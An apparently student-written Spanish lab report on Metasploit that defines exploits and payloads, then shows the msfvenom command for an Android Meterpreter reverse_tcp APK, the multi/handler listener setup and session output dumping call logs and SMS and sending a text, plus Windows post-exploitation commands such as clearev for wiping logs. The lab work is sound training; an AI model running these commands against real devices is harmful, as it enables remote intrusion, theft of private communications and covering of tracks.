

Práctico N° 1.3: Concientización - Ataques

1) Primeramente debemos definir dos conceptos, los mismos son Payloads y Exploits.

Exploit ("explotar" o 'aprovechar') es un fragmento de software, fragmento de datos o secuencia de comandos y/o acciones, utilizada con el fin de aprovechar una vulnerabilidad de software de un sistema de información para conseguir un comportamiento no deseado del mismo.

Basicamente, un exploit es simplemente una pedazo de código que nos permite aprovecharnos de una vulnerabilidad presente en un sistema.

Una vez dentro del sistema, necesitamos culminar nuestra función de hackear el mismo, es decir, necesitamos un **payload** que nos permitirá explotar la vulnerabilidad al máximo, en otras palabras, el payload es aquella parte del código cuya funcionalidad es maliciosa. Para finalizar, un payload puede ser utilizado por varios exploits y viceversa.

Msfvenom es un generador de payloads, mientras que Meterpreter es un payload que se ejecuta en la memoria de un dispositivo al ser explotado. Su ejecución en memoria se debe para el intento de evitar la detección por el antivirus y su nombre proviene de meta-intérprete, ya que es quien se encarga de interpretar los comandos que le enviamos al dispositivo que fue explotado.

Basicamente Msfvenom se utiliza para generar Payloads y Meterpretes es un interprete post exploit para asi poder hacer uso de la vulnerabilidad.

2) Se utilizo Metasploit localmente, es decir, no se utilizo la maquina virtual provista por la catedra.

Se utilizó msfvenom para la generación del payload:

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=198.168.1.111 LPORT=8080 > /home/maxi/Documentos/Maxi/Seguridad/Practica/TP-1.3/viruela.apk
```

Luego se instala en el telefono movil el .apk generado por msfvenom.

Al correr el comando "exploit" la consola avanzó los primeros dos mensajes y se quedó esperando. Luego, una vez iniciada la aplicación MainActivity en el teléfono android vulnerado, apareció el tercer mensaje ("Sending stage...") y se estableció la conexión con el teléfono. De aquí viene la explicación del payload REVERSE_tcp, ya que el atacante queda a la escucha y el atacado es quien comienza la comunicación.

```

→ TP-1.3 sudo msfconsole

Metasploit

      =[ metasploit v4.17.14-dev ]
+ -- --=[ 1809 exploits - 1027 auxiliary - 313 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 192.168.1.111
LHOST => 192.168.1.111
msf exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit

```

```

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.43.174:8080
[*] Sending stage (70565 bytes) to 192.168.43.1
[*] Meterpreter session 1 opened (192.168.43.174:8080 -> 192.168.43.1:46657) at 2018-09-26 19:01:10 +0000

meterpreter >

```

Una vez establecida la conexión, ya podemos ejecutar comandos:

```

meterpreter > sessions 2
[*] Session 2 is already interactive.
meterpreter > dump_calllog
[*] Fetching 96 entries
[*] Call log saved to calllog_dump_20180926191355.txt
meterpreter >
[*] 192.168.43.1 - Meterpreter session 2 closed. Reason: Died

```

```

meterpreter > dump_sms
[*] Fetching 225 sms messages
[*] SMS messages saved to: sms_dump_20180926191559.txt
meterpreter > send_sms -t "Hola soy viruela" -d "2804401081"
[+] SMS sent - Transmission successful
meterpreter >

```

Los archivos que los DUMPS dan como resultado, se encuentran en el comprimido de este trabajo.

Para Windows contamos con ciertas otras opciones que podemos aprovechar, como por ejemplo:

1. **clearev**: Limpia los logs del sistema, de aplicaciones y de seguridad de Windows.
2. **shell**: abre una sesión de consola del sistema atacado.
3. **vnc**: abre una sesión de vnc en el sistema atacado.

Entre otros.

